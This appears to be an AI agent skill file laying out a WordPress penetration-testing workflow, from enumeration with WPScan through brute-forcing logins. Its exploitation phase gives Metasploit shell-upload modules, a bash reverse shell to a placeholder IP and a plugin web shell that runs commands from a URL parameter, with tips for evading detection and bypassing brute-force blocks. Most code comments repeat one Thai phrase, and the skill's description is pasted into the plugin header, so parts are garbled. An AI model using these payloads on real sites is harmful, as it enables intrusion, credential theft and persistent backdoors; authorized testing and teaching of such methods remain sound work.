---
name: WordPress Penetration Testing
description: "สกิลสำหรับ Wordpress การทดสอบเจาะระบบ การทดสอบ ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
metadata:
  author: zebbern
  version: "1.1"
---

# Wordpress การทดสอบเจาะระบบ การทดสอบ

## Purpose

Conduct comprehensive security assessments of WordPress installations including enumeration of users, themes, and plugins, vulnerability scanning, credential attacks, and exploitation techniques. WordPress powers approximately 35% of websites, making it a critical target for security testing.

## Prerequisites

### Required Tools
- WPScan (pre-installed in Kali Linux)
- Metasploit Framework
- Burp Suite or OWASP ZAP
- Nmap for initial discovery
- cURL or wget

### Required Knowledge
- WordPress architecture and structure
- Web application testing fundamentals
- HTTP protocol understanding
- Common web vulnerabilities (OWASP Top 10)

## Outputs and Deliverables

1. **WordPress Enumeration Report** - Version, themes, plugins, users
2. **Vulnerability Assessment** - Identified CVEs and misconfigurations
3. **Credential Assessment** - Weak password findings
4. **Exploitation Proof** - Shell access documentation

## Core Workflow

### Phase 1: WordPress Discovery

Identify WordPress installations:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com | grep -i wordpress
curl -s http://target.com | grep -i "wp-content"
curl -s http://target.com | grep -i "wp-includes"

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -I http://target.com/wp-login.php
curl -I http://target.com/wp-admin/
curl -I http://target.com/wp-content/
curl -I http://target.com/xmlrpc.php

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com | grep "generator"

# Wordpress การทดสอบเจาะระบบ การทดสอบ
nmap -p 80,443 --script http-wordpress-enum target.com
```

Key WordPress files and directories:
- `/wp-admin/` - Admin dashboard
- `/wp-login.php` - Login page
- `/wp-content/` - Themes, plugins, uploads
- `/wp-includes/` - Core files
- `/xmlrpc.php` - XML-RPC interface
- `/wp-config.php` - Configuration (not accessible if secure)
- `/readme.html` - Version information

### Phase 2: Basic WPScan Enumeration

Comprehensive WordPress scanning with WPScan:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com/wordpress/

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com --api-token YOUR_API_TOKEN

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com --detection-mode aggressive

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -o results.txt

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -f json -o results.json

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -v
```

### Phase 3: WordPress Version Detection

Identify WordPress version:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com/readme.html | grep -i version
curl -s http://target.com/feed/ | grep -i generator
curl -s http://target.com | grep "?ver="

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com | grep 'name="generator"'

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com/feed/
curl -s http://target.com/comments/feed/
```

Version sources:
- Meta generator tag in HTML
- readme.html file
- RSS/Atom feeds
- JavaScript/CSS file versions

### Phase 4: Theme Enumeration

Identify installed themes:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e at

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e vt

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e at --plugins-detection aggressive

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com | grep "wp-content/themes/"
curl -s http://target.com/wp-content/themes/
```

Theme vulnerability checks:
```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
searchsploit wordpress theme <theme_name>

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com/wp-content/themes/<theme>/style.css | grep -i version
curl -s http://target.com/wp-content/themes/<theme>/readme.txt
```

### Phase 5: Plugin Enumeration

Identify installed plugins:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e ap

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e vp

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e ap --plugins-detection aggressive

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e ap --plugins-detection mixed

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com | grep "wp-content/plugins/"
curl -s http://target.com/wp-content/plugins/
```

Common vulnerable plugins to check:
```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
searchsploit wordpress plugin <plugin_name>
searchsploit wordpress mail-masta
searchsploit wordpress slideshow gallery
searchsploit wordpress reflex gallery

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com/wp-content/plugins/<plugin>/readme.txt
```

### Phase 6: User Enumeration

Discover WordPress users:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e u

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e u1-100

# Wordpress การทดสอบเจาะระบบ การทดสอบ
for i in {1..20}; do
    curl -s "http://target.com/?author=$i" | grep -o 'author/[^/]*/'
done

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com/wp-json/wp/v2/users

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -s http://target.com/wp-json/wp/v2/users?per_page=100

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -X POST -d "log=admin&pwd=wrongpass" http://target.com/wp-login.php
```

### Phase 7: Comprehensive Enumeration

Run all enumeration modules:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e at -e ap -e u

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e vp,vt,u,cb,dbe

# Wordpress การทดสอบเจาะระบบ การทดสอบ
# Wordpress การทดสอบเจาะระบบ การทดสอบ
# Wordpress การทดสอบเจาะระบบ การทดสอบ
# Wordpress การทดสอบเจาะระบบ การทดสอบ
# Wordpress การทดสอบเจาะระบบ การทดสอบ
# Wordpress การทดสอบเจาะระบบ การทดสอบ
# Wordpress การทดสอบเจาะระบบ การทดสอบ
# Wordpress การทดสอบเจาะระบบ การทดสอบ

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -e at,ap,u,cb,dbe \
    --detection-mode aggressive \
    --plugins-detection aggressive
```

### Phase 8: Password Attacks

Brute-force WordPress credentials:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -U admin -P /usr/share/wordlists/rockyou.txt

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -U users.txt -P /usr/share/wordlists/rockyou.txt

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -U admin -P passwords.txt --password-attack wp-login -t 50

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -U admin -P passwords.txt --password-attack xmlrpc

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com -U admin -P passwords.txt --throttle 500

# Wordpress การทดสอบเจาะระบบ การทดสอบ
cewl http://target.com -w wordlist.txt
wpscan --url http://target.com -U admin -P wordlist.txt
```

Password attack methods:
- `wp-login` - Standard login form
- `xmlrpc` - XML-RPC multicall (faster)
- `xmlrpc-multicall` - Multiple passwords per request

### Phase 9: Vulnerability Exploitation

#### Metasploit Shell Upload

After obtaining credentials:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
msfconsole

# Wordpress การทดสอบเจาะระบบ การทดสอบ
use exploit/unix/webapp/wp_admin_shell_upload
set RHOSTS target.com
set USERNAME admin
set PASSWORD jessica
set TARGETURI /wordpress
set LHOST <your_ip>
exploit
```

#### Plugin Exploitation

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
use exploit/unix/webapp/wp_slideshowgallery_upload
set RHOSTS target.com
set TARGETURI /wordpress
set USERNAME admin
set PASSWORD jessica
set LHOST <your_ip>
exploit

# Wordpress การทดสอบเจาะระบบ การทดสอบ
search type:exploit platform:php wordpress
```

#### Manual Exploitation

Theme/plugin editor (with admin access):

```php
// Navigate to Appearance > Theme Editor
// Edit 404.php or functions.php
// Add PHP reverse shell:

<?php
exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'");
?>

// Or use weevely backdoor
// Access via: http://target.com/wp-content/themes/theme_name/404.php
```

Plugin upload method:

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
cat > malicious.php << 'EOF'
<?php
/*
Plugin Name: Malicious Plugin
description: "สกิลสำหรับ Wordpress การทดสอบเจาะระบบ การทดสอบ ใช้เมื่อต้องการแนวทาง ขั้นตอน Template หรือคำแนะนำเชิงปฏิบัติสำหรับงาน IT, SysAdmin, Infrastructure, Security, Network, Server และระบบปฏิบัติการ ในหัวข้อนี้"
Version: 1.0
*/
if(isset($_GET['cmd'])){
    system($_GET['cmd']);
}
?>
EOF

# Wordpress การทดสอบเจาะระบบ การทดสอบ
zip malicious.zip malicious.php

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl "http://target.com/wp-content/plugins/malicious/malicious.php?cmd=id"
```

### Phase 10: Advanced Techniques

#### XML-RPC Exploitation

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -X POST http://target.com/xmlrpc.php

# Wordpress การทดสอบเจาะระบบ การทดสอบ
curl -X POST -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>' http://target.com/xmlrpc.php

# Wordpress การทดสอบเจาะระบบ การทดสอบ
cat > xmlrpc_brute.xml << 'EOF'
<?xml version="1.0"?>
<methodCall>
<methodName>system.multicall</methodName>
<params>
<param><value><array><data>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password1</string></value>
</data></array></value></member>
</struct></value>
<value><struct>
<member><name>methodName</name><value><string>wp.getUsersBlogs</string></value></member>
<member><name>params</name><value><array><data>
<value><string>admin</string></value>
<value><string>password2</string></value>
</data></array></value></member>
</struct></value>
</data></array></value></param>
</params>
</methodCall>
EOF

curl -X POST -d @xmlrpc_brute.xml http://target.com/xmlrpc.php
```

#### Scanning Through Proxy

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com --proxy socks5://127.0.0.1:9050

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com --proxy http://127.0.0.1:8080

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com --proxy http://127.0.0.1:8080 --disable-tls-checks
```

#### HTTP Authentication

```bash
# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url http://target.com --http-auth admin:password

# Wordpress การทดสอบเจาะระบบ การทดสอบ
wpscan --url https://target.com --disable-tls-checks
```

## Quick Reference

### WPScan Enumeration Flags

| Flag | Description |
|------|-------------|
| `-e at` | All themes |
| `-e vt` | Vulnerable themes |
| `-e ap` | All plugins |
| `-e vp` | Vulnerable plugins |
| `-e u` | Users (1-10) |
| `-e cb` | Config backups |
| `-e dbe` | Database exports |

### Common WordPress Paths

| Path | Purpose |
|------|---------|
| `/wp-admin/` | Admin dashboard |
| `/wp-login.php` | Login page |
| `/wp-content/uploads/` | User uploads |
| `/wp-includes/` | Core files |
| `/xmlrpc.php` | XML-RPC API |
| `/wp-json/` | REST API |

### WPScan Command Examples

| Purpose | Command |
|---------|---------|
| Basic scan | `wpscan --url http://target.com` |
| All enumeration | `wpscan --url http://target.com -e at,ap,u` |
| Password attack | `wpscan --url http://target.com -U admin -P pass.txt` |
| Aggressive | `wpscan --url http://target.com --detection-mode aggressive` |

## Constraints and Limitations

### Legal Considerations
- Obtain written authorization before testing
- Stay within defined scope
- Document all testing activities
- Follow responsible disclosure

### Technical Limitations
- WAF may block scanning
- Rate limiting may prevent brute-force
- Some plugins may have false negatives
- XML-RPC may be disabled

### Detection Evasion
- Use random user agents: `--random-user-agent`
- Throttle requests: `--throttle 1000`
- Use proxy rotation
- Avoid aggressive modes on monitored sites

## Troubleshooting

### WPScan Shows No Vulnerabilities

**Solutions:**
1. Use API token for vulnerability database
2. Try aggressive detection mode
3. Check for WAF blocking scans
4. Verify WordPress is actually installed

### Brute-Force Blocked

**Solutions:**
1. Use XML-RPC method instead of wp-login
2. Add throttling: `--throttle 500`
3. Use different user agents
4. Check for IP blocking/fail2ban

### Cannot Access Admin Panel

**Solutions:**
1. Verify credentials are correct
2. Check for two-factor authentication
3. Look for IP whitelist restrictions
4. Check for login URL changes (security plugins)
